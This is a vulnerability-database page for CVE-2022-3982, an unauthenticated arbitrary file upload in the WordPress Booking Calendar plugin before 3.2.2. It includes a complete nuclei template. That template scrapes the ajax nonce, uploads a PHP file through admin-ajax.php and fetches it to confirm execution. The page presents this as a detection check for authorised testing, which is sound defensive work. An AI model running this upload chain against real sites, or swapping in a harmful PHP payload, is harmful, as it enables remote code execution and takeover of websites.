HexBrain

Browse / CVEs / CVE-2022-3982

CVE-2022-3982· wpdevart / booking calendar· CWE-434

WordPress Booking Calendar <3.2.2 - Arbitrary File Upload

criticalseverity
9.8CVSS score
4.8%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

WordPress Booking Calendar plugin before 3.2.2 is susceptible to arbitrary file upload possibly leading to remote code execution. The plugin does not validate uploaded files, which can allow an attacker to upload arbitrary files, such as PHP, and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

This vulnerability can lead to remote code execution, allowing attackers to take control of the affected WordPress website.

Fix

Fixed in 3.2.2.

How to confirm it

Send: GET / ; POST /wp-admin/admin-ajax.php ; GET /wp-content/uploads/booking_calendar/{{randstr}}.php
Positive when: contains in body_3 "{{md5(string)}}"

Run it with nuclei: nuclei -id CVE-2022-3982 -u <target>

The full check
id: CVE-2022-3982

info:
  name: WordPress Booking Calendar <3.2.2 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    WordPress Booking Calendar plugin before 3.2.2 is susceptible to arbitrary file upload possibly leading to remote code execution. The plugin does not validate uploaded files, which can allow an attacker to upload arbitrary files, such as PHP, and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    This vulnerability can lead to remote code execution, allowing attackers to take control of the affected WordPress website.
  remediation: Fixed in 3.2.2.
  reference:
    - https://wpscan.com/vulnerability/4d91f3e1-4de9-46c1-b5ba-cc55b7726867
    - https://wordpress.org/plugins/booking-calendar/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3982
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-3982
    cwe-id: CWE-434
    epss-score: 0.04809
    epss-percentile: 0.92035
    cpe: cpe:2.3:a:wpdevart:booking_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: wpdevart
    product: booking_calendar
    framework: wordpress
  tags: cve,cve2022,rce,wpscan,wordpress,wp-plugin,wp,booking-calendar,unauthenticated,intrusive,wpdevart,vkev,vuln
variables:
  string: "CVE-2022-3982"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------1cada150a8151a54

        --------------------------1cada150a8151a54
        Content-Disposition: form-data; name="action"

        wpdevart_form_ajax
        --------------------------1cada150a8151a54
        Content-Disposition: form-data; name="wpdevart_id"

        x
        --------------------------1cada150a8151a54
        Content-Disposition: form-data; name="wpdevart_nonce"

        {{nonce}}
        --------------------------1cada150a8151a54
        Content-Disposition: form-data; name="wpdevart_data"

        {"wpdevart-submit":"X"}
        --------------------------1cada150a8151a54
        Content-Disposition: form-data; name="wpdevart-submit"

        1
        --------------------------1cada150a8151a54
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
        Content-Type: application/octet-stream

        <?php echo md5("{{string}}");unlink(__FILE__);?>

        --------------------------1cada150a8151a54--
      - |
        GET /wp-content/uploads/booking_calendar/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_3
        words:
          - '{{md5(string)}}'

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - var wpdevart.*"ajaxNonce":"(.*?)"
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from